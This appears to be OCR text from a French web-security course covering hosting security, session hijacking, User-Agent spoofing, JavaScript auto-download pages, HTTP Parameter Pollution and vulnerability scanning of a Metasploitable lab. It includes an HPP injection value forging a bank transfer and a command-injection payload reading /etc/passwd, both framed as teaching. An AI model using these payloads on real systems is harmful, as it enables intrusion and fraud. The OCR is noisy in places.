Also consider scanning for TLS issues using SSL Labs.

49:

4

Environ trois semaines plus tard, le site est bien préchargé :

OO

Enter a domain:

cyberlll.fr

Check HSTS preload status and eligibility

Status: cyber|Ji}.fr is currently preloaded.
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Sécurité des serveurs mutualisés et des VPS

Les serveurs mutualisés

Un serveur mutualisé posséde une seule adresse IP pour une multitude de domaines.
Deux mécanismes permettent cet exploit : ’hébergement virtuel (Virtual Hosting) et,

pour HTTPS, le SNI (Server Name Indication, une extension du protocole TLS).

L’HEBERGEMENT VIRTUEL

Le serveur web (Apache, Nginx ou IIS) correctement configuré peut ici reconnaitre des
virtual hosts (chaque virtual host fait correspondre un nom de domaine spécifique a un
répertoire racine différent sur le serveur). L’hébergement virtuel recherche le nom de
domaine présent dans I’en-téte HTTP "Host" de chaque requéte envoyée a une adresse
IP. Il redirige alors la requéte vers le bon répertoire racine. Cela permet au serveur
mutualisé d’héberger de nombreux domaines, ce qui permet de faire des économies
d’échelle. Ceci explique le prix trés attractif de ce type de serveur. C’est leur principal
avantage. C6té inconvénient, il faut signaler les risques liés a la sécurité d’un site
hébergé, qui est dépendant de la fiabilité des autres sites présents sur le serveur. A
partir d’'un site compromis, il sera aisé d’attaquer tous les autres sites présents sur le
serveur mutualisé, méme si ceux-ci ne possédent aucune vulnérabilité... Un autre
inconvénient réside dans le référencement (SEO) : un site de mauvaise réputation peut
impacter négativement le référencement des autres sites. Donc, pour la sécurité comme
pour le référencement de votre site, vous étes totalement tributaire des autres sites

hébergés sur le serveur mutualisé.
Exemple de configuration dans Apache :

<VirtualHost *:80>
ServerName www.site-Y.fr
DocumentRoot /var/www/user001
</VirtualHost>

<VirtualHost *:80>
ServerName www.site-Z.net
DocumentRoot /var/www/user002
</VirtualHost>
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LE SNI (SERVER NAME INDICATION)

Le chiffrement TLS (pour les connexions HTTPS) pose un probléme dans le cadre du
Virtual Hosting : ce chiffrement débute avant méme que I’en-téte HTTP "Host" ne puisse
étre lu. C’est a ce moment qu’intervient le SNI. Dés le début de la connexion HTTPS, le
nom de domaine est spécifié dans la poignée de main TLS. Le serveur mutualisé envoie
alors le certificat correspondant au domaine demandé (chaque domaine sécurisé

posséde son propre certificat SSL/TLS).

Les serveurs privés virtuels (VPS)

La virtualisation permet le partage du serveur physique en plusieurs serveurs virtuels

indépendants. Les avantages principaux du VPS sont :

= Ressources fixes attribuées aux serveurs virtuels (RAM, CPU, ...)
= Acceés root ou administrateur complet

= Performance accrue

=> lIsolation des autres serveurs virtuels sur le serveur

= Trafic plus important

L’inconvénient majeur est le prix. Le VPS est nettement plus onéreux que le serveur

mutualisé, mais moins cependant qu’un serveur dédié !.

Alors que le serveur mutualisé est plutot destiné a accueillir des petits blogs, le VPS

pourra étre utilisé pour des sites plus importants a trafic conséquent et nécessitant une

sécurité plus élevée.

Caractéristique Serveur mutualisé
Performance Dépend des autres sites Stable
Cout Faible Moyen
Ressources Partagées Dédiées
Controle Limité Important (via SSH)
Utilisation Petits sites Sites a trafic moyen
Sécurité Plus vulnérable Plus sécurisé
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Serveur mutualisé

C
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Sécurité des serveurs mutualisés et des VPS

Le probléme principal avec les serveurs mutualisés est la possibilité d’attaquer un site,
méme si celui-ci ne contient aucune faille, a partir d’un autre site, vulnérable celui-ci,
hébergé sur le méme serveur. De plus, la sécurité ne peut étre configurée de maniére
optimale (pas d’acceés root). Vous étes donc totalement dépendant des mesures prises

par ’hébergeur.
Dans le cas du VPS, ceci est vraiment différent :

= Chaque VPS est isolé virtuellement (chaque VPS posséde son propre systéme
d’exploitation) ce qui rend la vulnérabilité inter-utilisateurs beaucoup plus
faible !

= L’accés root (administrateur) est permis (souvent via SSH)

= Les mises a jour (ainsi que les sauvegardes) sont sous votre responsabilité et
plus sous celle de I’hébergeur, ce qui est un avantage mais aussi un risque.

= La personnalisation du firewall est possible.

= Les protections DDOS sont généralement plus performantes que sur les

serveurs mutualisés.

Il faut cependant signaler qu’une attaque inter-VPS, pratiquement trés complexe a

réaliser a cause de I’isolation, est cependant théoriquement possible :

= Des vulnérabilités dans I’hyperviseur peuvent permettre I’évasion de machine
virtuelle (VM escape) et I'accés au systéme héte. Ces vulnérabilités sont
évidemment rapidement patchées aprés leur découverte.

= Des attaques par canal auxiliaire (side-channel) sont éventuellement possibles :

par exemple Spectre et Meltdown.

Ces scénarios sont cependant trés rares, d’autant plus que les hébergeurs peuvent
configurer leur firewall pour bloquer les communications inter-VPS malveillantes. Il faut
bien évidemment, aussi bien pour le serveur mutualisé que pour le VPS, choisir un

fournisseur fiable et de bonne réputation.

Remarque : si les VPS présents sur un méme serveur physique ont des IP différentes
(ce n’est pas toujours le cas), alors l'indication du nom de serveur (SNI) ne sera

généralement pas utilisé (sauf si certains des VPS sont multisites).
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Le détournement de session (Session Hijacking)

Les détournements de session mentionnés dans un chapitre précédent sont de deux types :

STRATEGIES

CONTRE-MESURES

Vol dans le
navigateur

cookie de session avec le flag httponly (qui
empéche au script d’accéder au cookie)

Vol d’'une session

existante

Vol durant le
transport

HSTS, cookie de session avec le flag
secure (qui ne transmet le cookie que via
un chiffrement SSL/TLS)

Attaque de I'ID de Utilisation de la
session du serveur force brute

Définir un identifiant de session fort

Pour empécher un détournement de session, il faut donc plus précisément :

= Utiliser un identifiant de session long et aléatoire (attention aux algorithmes faibles)

=>» Utiliser un IDS/IPS

=>» Forcer HTTPS avec HSTS

= Ajouter les flags Secure et HitpOnly au cookie de session

= Implémenter un log out automatique si une session se termine

= Implémenter un délai d’expiration de la session (session timeout): lorsqu’un
utilisateur reste inactif pendant un intervalle défini, le serveur révoque l'identifiant de

session rendant cette derniére invalide. L'utilisateur doit alors se reconnecter afin

d’obtenir un nouvel identifiant.
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L’User-Agent (agent utilisateur)

L‘User-Agent, ou agent utilisateur, est une chaine de caractéres envoyée par
I’application cliente (navigateur, bot, ...) qui effectue une requéte HTTP sur Internet. I
permet d'identifier I’application cliente, son type, sa version, ainsi que le systéme

d'exploitation (OS) de I'appareil.

Il existe des extensions de navigateur qui permettent de changer votre User-Agent afin

de vous procurer plus d’anonymat en ligne (par exemple : User Agent Switcher).
Capturer un User-Agent en PHP est trés simple :

$UserAgent = $_SERVER[HTTP_USER_AGENT:

Exemple d’'User-Agent

Mozilla/5.0 (X11 ; Ubuntu ; Linux x86_64 ; rv :35.0) Gecko/20100101 Firefox/35.0

= Mozilla/5.0 : tous les navigateurs utilisent ce mot-clé
= X11 : environnement graphique (Unix)
= Ubuntu : systéme d’exploitation

= Gecko/20100101 : moteur de rendu pour I'affichage des pages web

= Firefox : nom du navigateur

Des sites vous permet de connaitre rapidement votre agent utilisateur :
https://whatmyuseragent.com/

https://www.whatsmyua.info/
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Exemple d’'User-Agent : Linux

Mozilla/5.0 (X11 ; Ubuntu ; Linux x86_64 ; rv :35.0) Gecko/20100101 Firefox/35.0

C’est un ordinateur Linux (Ubuntu 64 bits)

Exemple d’'User-Agent : Mac OS

Mozilla/5.0 (Macintosh ; Intel Mac OS X 10_15_1 AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/780.3904.108 Safari/537.36V

C’est un ordinateur MAC (on a méme la version !)

Exemple d’'User-Agent : iOS

Mozilla/5.0 (iPhone ; CPU iPhone OS 13.2 like Mac OS X) AppleWebKit/605.1.15
(KHTML, like Gecko) Mobile/15E148

C’est un smartphone iOS (version 13.2)

Exemple d’User-Agent : Android

Mozilla/5.0 (Linux; Android 4.2.2; Nexus 7 Build/JDQ39) AppleWebKit/537.31
(KHTML, like Gecko) Chrome/26.0.1410.49 Safari/537.31

C’est un smartphone Android
Type du smartphone : Nexus 7 Build/JDQ39

Android est trés bavard !
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Exemple d’'User-Agent : Windows

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like
Gecko) Chrome/0.2.149.27 Safari/525.13

C’est un Windows XP (car version = Windows NT 5.1)

Exemple d’'User-Agent : Windows

Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2) Gecko/20100115 Firefox/3.6

C’est fort probablement un Windows 7 (car version = Windows NT 6.1)

Y

Les versions du systéme d’exploitation Windows

Windows 11
Windows 10

Windows 8.1

Windows 8

Windows 7

Windows Vista

Windows XP
Windows 2000

Windows Server 2016

Windows Server 2012 R2

Windows Serveur 2012

Windows Server 2008 R2
Windows Server 2008

Windows Server 2003 R2
Windows Server 2003
Windows XP 64-Bit Edition

10.0
10.0
10.0
6.3
6.3
6.2
6.2
6.1
6.1
6.0
6.0
5.2
5.2
5.2
5.1
5.0
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L’extension User-Agent Switcher

58

Cette extension pour Chrome et Firefox permet de masquer le navigateur que vous

utilisez en modifiant I’en-téte User-Agent dans vos requétes HTTP.

L

Useragent Switcher

Preferences...
D Override for Domain

E] Enable Random Mode

© Default

Desktop i
() Windows / Firefox 82

() Linux / Firefox 82

(_) Mac 0S X/ Safari 12

() Windows / IE 11

() Windows / Edge 44

() Windows / Chrome 86

() Windows / Firefox 60 ESR

Mobile ¥
() Android Phone / Firefox 82

() Android Phone / Chrome 86

Choisissons iPhone / Safari s Atkeold TabIct £Flrciox 82
() Android Tablet / Chrome 86
() iPhone / Safari12.1.1

() iPad/Safari12.1.1

Bot Ve

What's my user agent?

See what your user-agent detection library really thinks!

Enter a user-agent string:

Mozilla/5.@ (iPhone; CPU 0S 10_15 5 (Erganzendes Update) like Mac 0S X)
AppleWebKit/6065.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/14E304 Safari/665.1.15

)

Go!

L’User-Agent a bien été modifié !
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Modifier son agent utilisateur dans Firefox sans utiliser d’extension

Soit un navigateur Firefox dont I'agent utilisateur est :

Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Your User Agent

Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Pour modifier cet User-Agent, nous allons taper dans Firefox I'adresse suivante :
about:config

Un message d’avertissement apparait :

Agissez avec précaution

Modifier les préférences de configuration avancées peut affecter les performances et la sécurité de Firefox.

M'avertir lorsque j'essaie d'accéder a ces préférences

Accepter le risque et poursuivre

[

Q Rechercher un nom de préférence [[] Afficher uniquement les préférences modifiées

Tout afficher

On crée alors la préférence general.useragent.override en tant que chaine et on lui donne
la valeur d’un agent utilisateur de notre choix (ici : Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36) :

/. general.useragent.override ‘ ["] Afficher uniquement les préférences modifiées

general.useragent.override () Booléen () Nombre @ Chaine +
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‘ 1 general.useragent.override [ ] Afficher uniquement les préférences modifiées
‘ general.useragent.override \ Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ‘ o ‘
‘ (1 general.useragent.override [] Afficher uniquement les préférences modifiées

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537. /s O

‘ grucnlisemgentovenide 36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Notre User-Agent est bien modifié :

Your User Agent

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/95.0.4638.69 Safari/537.36
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Téléchargement automatique avec JS et drive-by download

Comment créer une page HTML qui, une fois ouverte, télécharge automatiquement un

fichier sur votre disque dur ?

Voici comment faire pour un fichier texte :

auto.html

<IDOCTYPE html>

<html lang="fr">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Automatic .txt download</title>

</head>

<body>

<h2>Le téléchargement vient de s'effectuer de maniére automatique grace a
JavaScript...</h2>

<script>
I/l Fonction de téléchargement automatique
window.onload = function() {
Il Mettre ici le texte contenu dans le fichier
const contenu = "Ce fichier texte a été enregistré automatiquement sur le disque dur
grace a JavaScript lors de I'ouverture de la page auto.html.”;

Il Créer ici un objet Blob avec son contenu
const blob = new Blob([contenu], { type: 'text/plain’ });

I/l Générer ici une URL pour le Blob
const url = URL.createObjectURL (blob);

Il Créer ici un lien invisible pour déclencher le téléchargement
const a = document.createElement('a’);

a.href = url;

a.download = 'fichier_auto.txt'; // Nom du fichier
document.body.appendChild(a);

a.click();

Il Nettoyer ici I'élément et révoquer I'URL
document.body.removeChild(a);
URL.revokeObjectURL (url);

I8

</script>

</body>
</html>
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Explications :

= En JavaScript, pour des raisons liées a la sécurité, il est théoriquement impossible d’écrire
directement un fichier sur le disque dur.

= |l est cependant possible de contourner cette protection en utilisant un objet Blob (objet de
données brutes qui contient les données du fichier) et en créant une URL temporaire pour
ce Blob avec la fonction URL.createObjectURL().

=> |l suffit ensuite de créer un lien invisible (balise <a>) et de cliquer dessus automatiquement
avec la fonction click().

= Le fichier (ici fichier_auto.txt), avec le contenu spécifié dans I'objet Blob, sera alors
enregistré automatiquement dans le répertoire de téléchargement par défaut du navigateur

utilisé.

Voici comment faire pour un fichier exécutable :

auto-exe.html

<IDOCTYPE htmI>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Automatic .exe download</title>
</head>
<body>
<h2> Le fichier exécutable a été enregistré automatiquement sur le disque dur
grace a JavaScript lors de I'ouverture de la page auto-exe.html.</h2>

<script>
window.onload = function() {
Il Lien vers le fichier .exe hébergé sur un serveur sécurisé
const url = 'https://mon-site.net/program.exe’;

Il Créer un lien invisible puis lancer le téléchargement

const a = document.createElement(‘a’);

a.href = url;

a.download = 'program.exe’; // Mettre ici nom d’enregistrement du fichier
document.body.appendChild(a);

a.click();

I/l Nettoyer I'élément
document.body.removeChild(a);

5

</script>

</body>
</html>
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Explications :

= Pour un fichier exécutable, en pratique, il faut s’y prendre difféeremment ! En effet, les objets
Blob ne sont pas congus pour contenir des fichiers binaires exécutables, mais plutét des
fichiers texte ou des fichiers binaire de type image, plus simples que des exécutables.

= Vous pouvez alors, comme indiqué dans le cadre de la page précédente, héberger le fichier
.exe sur un serveur sécurisé (HTTPS). Un serveur HTTP serait probablement tout de suite
bloqué par le navigateur. Un fichier binaire exécutable (.exe), contrairement a un fichier texte,
doit en effet étre plutot récupéré sur un serveur distant.

= Vous pouvez alors créer un lien invisible vers ce fichier distant puis cliquer dessus
automatiquement avec la fonction click(). Cependant, vous serez parfois bloqué par certains
navigateurs. Le navigateur pourra aussi vous demander [l'autorisation pour ce
téléchargement qui ne sera plus, dés lors, automatique.

= Avec le code de la page précédente, si le navigateur I’accepte, le fichier (ici program.exe)
sera alors téléchargé depuis le serveur distant puis enregistré automatiquement dans le

répertoire de téléchargement par défaut du navigateur utilisé.

A RETENIR

En bref, JavaScript ne peut pas écrire directement sur le disque dur du client web pour
des raisons évidentes de sécurité, mais peut autoriser, via des interactions utilisateur
qui peuvent étre simulées, le téléchargement sur le disque dur de fichiers, distants (pour

un fichier .exe) ou contenus dans un objet Blob (pour un fichier .txt).
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0 Une question vient tout de suite a I'esprit : les cybercriminels
G peuvent-ils utiliser la méthode rudimentaire développée dans les

pages qui précédent pour réaliser un drive-by download ?

Pour rappel, un drive-by download est une technique utilisée par les pirates
informatiques pour télécharger automatiquement un malware sur I'ordinateur
d’un client web sans son consentement puis I'exécuter de maniére invisible. Il

suffit de visiter une page compromise ou d’ouvrir un email pour en étre victime.

= En pratique, ce ne sera pas possible car le script des pages précédentes permet le
téléchargement d’un exécutable mais pas son exécution automatique !

= |l faudra donc, par rapport a ce script, rajouter une étape supplémentaire pour forcer
I’exécution de ce malware, via une vulnérabilité du navigateur ou du systéme d’exploitation.
Un systéme d’exploitation et un navigateur mis a jour de maniére réguliére seront peu
susceptibles de posséder une vulnérabilité permettant a un cybercriminel lambda de réussir
ce tour de force. Ce n’est donc pas une chose aisée a réaliser! Seules des vulnérabilités de
type zero-day rendraient ce scénario possible tout en sachant que ce genre de failles est
accessible a un nombre trés restreint d’acteurs malveillants. Il ne faut donc pas s’inquiéter
outre mesure, méme si cela est théoriquement possible.

= Ce qui est malheureusement concevable, c’est d’utiliser I'ingénierie sociale afin de
convaincre un internaute de cliquer sur le fichier téléchargé automatiquement. Il faut donc
étre attentif a toute tentative de manipulation psychologique. Il est normalement peu
probable qu’un internaute exécute volontairement un fichier exécutable qui apparait soudain
sur son disque dur, @ moins d’étre vraiment crédule. L’ingénierie sociale permet cependant
bien souvent de gruger un internaute.

= |l est, dans tous les cas, trés utile d’installer un antivirus fiable sur son ordinateur afin de

mettre en quarantaine tout fichier malveillant téléchargé par inadvertance.
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L’attaque HPP (HTTP Parameter Pollution)

L’attaque HPP est une attaque qui concerne les paramétres d’une requéte HTTP. Soit
URL suivante, avec un méme paramétre utilisé deux fois, mais affecté de valeurs

différentes :
https://lwww.mon-site.net/accueil.xxx?name=robert&name=alain

La valeur retenue par le serveur pour le paramétre name sera variable suivant le type

de serveur:

o Un serveur avec JSP et Tomcat retiendra seulement la premiére valeur (robert)
o Un serveur avec PHP et Apache retiendra seulement la deuxiéme valeur (alain)

e Un serveur avec ASP et IIS retiendra toutes les valeurs (robert et alain)
lllustrons cela avec le fonctionnement de Google et Yahoo.

Lanc¢ons la requéte : http://www.google.com/search?q=http&qg=parameter&qg=pollution

google.com/sea

G:> http parameter pollution <

c e 0 a googlecom
Google http parameter pollution Z &

Vidéos
web.

@00

11

HTTP Parameter Introduction to

Pollution Attacks HTTP Parameter
Pollution (HPP)
Attack

YouTube !l YouTube

WwwImperva.com » leam > hitp-pa.. ~ Tradulre cette page
HTTP Parameter Pollution | Imperva®

HTTP Parameter Pollution (HPP) Is a Web ai

craft a HTTP request in order to manipulate o

Google retient toutes les valeurs du paramétre q, en les séparant par un espace —
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66:

Langons la requéte : https://fr.search.yahoo.com/search?p=http&p=parameter&p=pollution

yahoo.com

pollution < q

yahoo.com

pollution

Web

Essayez aussi- vignette pollution. pollution de Iair. pollution paris
Pollution - Actualités
La pollution sonore fragilise la santé des poissons

La Provence -
Des poissons exposés

a3he

ne pollution sonore aigué sont plus vulnérables aux maladies et meurent
plus vite quand Fexposition est chronique Mirko_Rosenau / IStock.com Des poissons exposés a une
polluti

Pollution : le Covid-19 aura permis de purifier I'air en Occitanie le temps de
quelques mois
Ladepe yas

nationale de Fair ce mercredi 16 septembre, Atmo Occitanie, organisme
chargé d'observer la qualité de lair dans la région, a dressé un bilan provisoire de lannée 2020

Contre la pollution, Valenciennes Verte et Solidaire veut limiter la vitesse
La Voix du Nord il y a 1

Le groupe d'union
la qualité de I'air & Valenciennes. Mett

réduction de la vitesse aurait un impact bénéfique sur
vant l'urgence face & un danger sanitaire réel, ils

Plus d'actualités sur Pollution

Pollution — Wikipédia®

frwikipedia org/wiki/Pollution v

La pollution sonore est souvent négligée, c'est a forme de pollution qui peut étre auss!
nuisible pour notre environnement La pollution sonore en provenance de voitures et de
lindustrie peuvent avoir un impact négatif sur Iécosystéme, elie est subit par des animaux
effrayés ils changent leurs habitats préférés.

Yahoo ne retient que la

valeur du dernier paramétre p

Exemple d’attaque HPP

Soit une banque en ligne qui permet a Luc d’effectuer des virements a une personne de

son choix avec la requéte POST contenant :

from=luc&to=marc&amount=100
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6/:

Le destinataire (marc) provient d’'un champ de formulaire dans la page HTML qui génére

la requéte :

-

Expéditeur Luc (non modifiable)

o

Destinataire [

marc ]

Somme [ 100

|

[ SOUMETTRE ]

/

Imaginons que le serveur utilise Apache et PHP et que le contenu du champ ne soit pas
encodé (pas de validation d’entrée), il suffira a Luc d’entrer comme destinataire dans

son formulaire :

-

o

Expéditeur Luc (non modifiable)

Destinataire [ xxxx&from=isabelle&to=luc

]

Somme [ 100

|

[ SOUMETTRE ]

~

/

La requéte devient alors :

from=luc&to=xxxx&from=isabelle&to=luc&amount=100

Bingo ! Luc vient de se faire virer sur son compte la somme de 100 euros depuis le

compte d’Isabelle.

|@®@@|
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En effet, vu 'absence de validation d’entrée, le caractére & n’a pas été encodé (le

codage de I’esperluette est %26).

Le serveur (PHP et Apache) n’a donc retenu que les trois derniers paramétres, dont les

deux paramétres injectés. Les deux premiers paramétres ont été simplement ignorés !

Si la validation d’entrée avait été effective, la requéte aurait été :
from=luc&to=xxxx%26from=isabelle%26to=luc&amount=100

La requéte n’aurait pas donné le résultat escompté (elle n’aurait pas abouti)...

D’ou cet avertissement qu’il me faut répéter une fois de plus...

NEVER TRUST USER INPUT !
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Un scanner de vulnérabilités d’applications web : SKIPFISH

Pour rappel, il existe deux types de scanners de vulnérabilités

1. Scanners de vulnérabilités réseau

2. Scanners de vulnérabilités d’applications web

Nous allons ici nous intéresser a skipfish (un scanner de vulnérabilités d’application
web), qui est installé d’origine sur Kali Linux. Vous pouvez trouver plus d’informations
sur cet outil a I'adresse https:/github.com/spinkham/skipfish. Pour I’exécuter et
enregistrer le résultat du scan dans le répertoire test (qui sera créé par le programme

sur le bureau), il suffit de taper la commande :

skipfish -o /root/Desktop/test <ADRESSE IP>

- 10.0.2.18 -:: 0:06:54.816/s), 114454 kB in, 20436 kB out (326.0 kB/s)
- 10.0.2.18 -:: 0:06:55.623/s), 114498
Scan statistics:: 0:06:56.508/s), 114537 T . .

Scan statistics:: 0:06:57.679/s), 114581 Skipfish en plein travail

Scan time : 0:06:58.545/s), 114637

Scan time : 0:06:59.319/s), 114670 kB in, 20530 kB out (323.0 kB/s)

HTTP requests : 39583 (95.0/s), 114706 kB in, 20545 kB out (322.6 kB/s)
Compression : @ kB in, @ kB out (0.0% gain) etried, 0 drops par, 385
HTTP faults : O net errors, O proto errors, 0 retried, © drops par, 385
TCP handshakes : 410 total (101.0 req/conn) rged , 16 dict 04 par, 385
TCP faults : 0 failures, 0 timeouts, 1 purged , 16 dict 04 par, 385
External links : 3319 skipped515 done (49.42%) 16 dict 04 par, 385
Reqs pending : 1811 515 done (49.42%) 16 dict 04 par, 385
Database statistics:42 total, 516 done (49.52%) 16 dict 04 par, 385
Database statistics:42 total, 516 done (49.52%) 15 dict 04 par, 385
Pivots : 1042 total, 516 done (49.52%) 15 dict 04 par, 385

Pivots : 1042 total, 516 done (49.52%) 15 dict 04 par, 385
In progress : 325 pending, 174 init, 11 attacks, 16 dict 04 par, 385
Missing nodes : 40 spotted dir, 42 file, 25 pinfo, 419 unkn, 104 par, 385
Node types : 2 serv, 66 dir, 42 file, 25 pinfo, 419 unkn, 104 par, 385
Issues found : 563 info, 1 warn, 39 low, 13 medium, @ high impact
Dict size : 395 words (395 new), 15 extensions, 256 candidates
Signatures : 77 total

Une fois le scan terminé, vous pouvez lire le résultat dans le fichier index.html du

répertoire /root/Desktop/test/.

Nous allons scanner I'application web située sur la machine virtuelle Metasploitable et

analyser ensuite le résultat fourni par skipfish.
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/0:

Pour le besoin de la démonstration, j’arréte le scan aprés une grosse demi-heure en

tapant <CTRL + C>:

[!] Scan aborted by user, bailing out!
+] Copying static resources...

Sorting and annotating crawl nodes: 1108

Looking for duplicate entries: 1108
Counting unique nodes: 661

Saving pivot data for third-party tools...
Writing scan description...
Writing crawl tree: 1108
Generating summary views...
Report saved to '

This was a great day for science!

Contenu du fichier index.html :

Scanner version: 2.10b Scan date: Tue Oct 22 22:55:29 2019
= () y
|/ }/k—f—’\fvi}/—gﬂh\ Random seed: 0xb71d9931 Totaltime: 0 hr42 min 51 sec 585 ms
—/\A‘_ljp/{_ﬂ_L_{J&J Click here
Crawl results - click to expand:
g 4| http://10.0.2.18] 59 27 @1 ©210 «654
Codg 200 lenath: 801 declared: text/html_detected: text/html| ot [ngye] [ show trace + ]
9 4 s https://10.0.2.18] «*4

Issue type overview - click to expand:

¢~ ©TIntéresting server message 56) ‘I
: ) Incorrect or missing charset (higher risk) (1) |
oI OSvectoringlooument oy gy _ _ _ _ _ _ _ J
¢~ T Signature mafch detected 22~ — ~ ~ ~ "~ T T T T ‘I
I © Incorrect caching directives (lower risk) (2) |
: () HTML form with no apparent XSRF protection (1) :
I € Directory listing restrictions bypassed (2) J
{78 REDONS Talies RS Sy Scke ] <
{’ T Numerical flléename - consider enumerating (3) ~ ~ \\
| Incorrect or missing charset (low risk) (44) 1
1 Generic MIME used (low risk) (1) :
: Password entry form - consider brute-force (10) 1
* B B fofdesifelutodsios ____ '

W

On peut constater que skipfish a

découvert, aprés seulement 20

minutes de

vulnérabilités :

e 59

o 27
\

e 1
— o 210

scan diverses

(Medium RISK)
(Low RISK)
(Warning)
(Notes)

| Classement des vulnérabilités par familles.

v
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Un scanner de vulnérabilités d’applications web : OWASP ZAP
On peut trouver OWASP ZAP a I’adresse :

https:/lwww.zaproxy.org/

Lancement de OWASP ZAP, apreés l’installation :

OWASP ZAP @ ® 0O

OWASP ZAP

280

x

OWASP ZAP est aussi
un proxy intercepteur
(comme Burp) qui
remplace I’ancien
OWASP WebScarab,
aujourd’hui obsoléte.

Trucs et astuces de ZAP:

Installez I'accessoire SAML depuis la foire aux modules de ZAP
pour détecter, afficher, modifier et générer du bruit sur les
requétes SAML.

spiderAjax, version=23.0.0], [id=tips, version=6.0.0], [Id=we | .|
bdriverlinux, version=10.0.0], [id=websocket, version=19.0. 5

0], [id=zest, version=29.0.0]]

INFO: Extensions loaded

INFO: Using version 6.23.1 of |xBrowser. ‘
v

R4

/1:

Fichier Modifier Vue Analyser Rapport Outils Import En ligne Aide

Session sans titre - Metasploit-ZAP - OWASP ZAP 2.8.0 e ® 0

Mdestandard ) | | Bl i 5 J'E 000 ODDE 487V P P OoXERE ©oFC@E

@ sites | 4+ _[ .~ Démarrage rapide .#T = RequéteT Réponseé= | 4=

==l
= Welcome to OWASP ZAP
[@] Contexte par défaut ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
@ Sites

If you are new to ZAP then it is best to start with one of the options below.

ANRARIN?!

Automated Scan Manual Explore Learn More

News

e
‘ ZAP 2.8.0 comprend un affichage 'Heads Up Display' (HUD) | Learn More ‘

j = Histariqusl 4 Rechercher I [ Alertes I Sortie | ==

& | Filtre: OFF ¢ Exporter

Id | Timestamp de req. | Métho... | URL | Co... | Raison | RTT | Taille du corps de r... | Alerte la plus éle... | Remarq... | Tags s
A
v
Alertes 0 (40 (10 MO Scansencours §50 €0 @0 20 @0 30 0 0
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Effectuons un scan automatique sur I’application Mutillidae (Metasploitable) :

)

Progression:

Automated Scan

N

This screen allows you to launch an automated scan against an application - just enter its URL below and press 'Attack'.

Please be aware that you should only attack applications that you have been specifically been given permission to test.

URL to attack: http://10.0.2.18/mutillidae
Use traditional spider: [

Use ajax spider: [J with |Firefox Headless | ¥

& attaquer || [ Arrat

Scanner activement (attaquer) les URLs découvertes par le robot

]1] @ Sélectionner...

oo » @
I v & Alertes (16)
m » [ Cross Site Scripting (réfléchi) (23)
» M Inclusion de fichiers distants
(" ) » M Injection SQL
—> >R j ¢ 9 e
, ved . . njection de commande de SE a distance
Vulnérabilités découvertes : » M Redirection externe
» [ Traversée de chemin (10)
e HIGH (6) i » ¥ Divulgation par erreur dans I'application (14)
» [U En-téte X-Frame-Options non renseigné (66)
e MEDIUM (4) > > [ Fa’I5|fica_t|on de pa_ram_etre (13)
L » [U Répertoire de navigation (6)
m » [ Absence of Anti-CSRF Tokens (33)
°
LOwW (6) » U Cookie No HttpOnly Flag (21)
N\ J » 4 Divulgation d'IP privé (5)
> » [V En-téte X-Content-Type-Options manquant (95)
» ¥ Information Disclosure - Debug Error Messages (5)
C » [U Protection XSS du navigateur Internet non activée (72)

Cliquons sur la quatriéme vulnérabilité HIGH :

OO

lniéciion de commande de SE a distance

URL: http://10.0.2.18/mutillidae/index.php?page-dns-lookup.php

Risque: A High
Confiance: Medium

Parametre: target_host —
Attaquer. ZAPScat fetclpasswds. o Une attaque nous est conseillée :
Aok g fnti ZAP&cat /etc/passwd&
IdCWE: 78

Id WASC : 31

Source:  Actif (90020 - Injection de commande de SE a distance)
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Testons cette attaque a I’'adresse mentionnée :

| DNS Lookup

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP ‘ ZAP&cat [etc/passwd& ’

Lookup DNS

[ DNS Lookup

Q; Back

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP ‘

Lookup DNS

Results for ZAP&cat /etc/passwd&

root:x:0:0:root:/root: /bin/bash

daenon:x:1:1:daemon: /usr/sbin: /bin/sh

bin:x:2:2:bin:/bin: /bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync: /bin: /bin/sync

games:x:5:60:games: /usr/games: /bin/sh

6:12:man: /var/cache/man: /bin/sh

1p:x:7:7:1p: /var/spool/lpd: /bin/sh

mail:x:8:8:mail: /var/mail:/bin/sh

news:x:9:9:news: /var/spool/news: /bin/sh

uucp:x:10:10:uucp: /nr/spnol/uucp /bin/sh

proxy:x:13:13:proxy: /bin: /bin,

www-data:x:33:33:www-data: /var/m:/bn/sh

backup:x:34:34:backup: /var/backups: /bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd: /var/run/ircd: /bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody : x:65534: 65534 :nobody: /nonexistent: /bin/sh

libuuid:x:100:101: : /var/Lib/libuuid: /bin/sh

dhcp:x:101:102: : /nonexistent: /bin/false

syslog:x:102:103: : /home/syslog: /bin/false

klog:x:103:104: : /home/klog: /bin/false

sshd:x:104:65534: : /var/run/sshd: fusr/sbin/nologin

msfadmin:x:1000:1000:msfadmin, , , : /home/nsfadmin: /bin/bash

bind:x:105:113:: /var/cache/bind: /bin/false .

postfix:x:106:115: : /var/spool/postfix: /bin/false L’attaque fonctionne

ftp:x:167:65534: : /home/ftp: /bin/false ,

post{m I“ml'l‘;s::igl’l“‘- m/' /{g}ﬂr,.i=5::/‘f-it:'mt!m comme prevu: on

mysql:x: 1 rver,,,:/var, ‘mysql:/bin/false . .
obtient bien

